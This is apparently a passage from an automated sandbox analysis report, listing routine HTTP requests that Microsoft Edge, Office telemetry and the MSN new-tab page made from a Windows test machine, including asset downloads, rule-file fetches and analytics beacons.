Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0DAD223ED34268AD13B3377AD2436971&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cec04982df8f452fe8a952e71f4bdbb2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQv.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1456359a6fed16b37b23b161732702491; XID=1456359a6fed16b37b23b161732702491
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0DAD223ED34268AD13B3377AD2436971&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7fead450543041248e8c58dfe83c483b HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B00CBD53F64D42938B07B05F829D7930&MUID=0DAD223ED34268AD13B3377AD2436971 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733307279&P2=404&P3=2&P4=FghLVqcdPhzN1AJwx0DQJ2zzwQaLVfw1RvvzR6bJcUbQ5OcybYdB%2bYW%2bBiwheX3HDbumLWpRYNUQvWKkPt%2bbig%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 0Af74ms2V8dhuSnsKqhJydSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
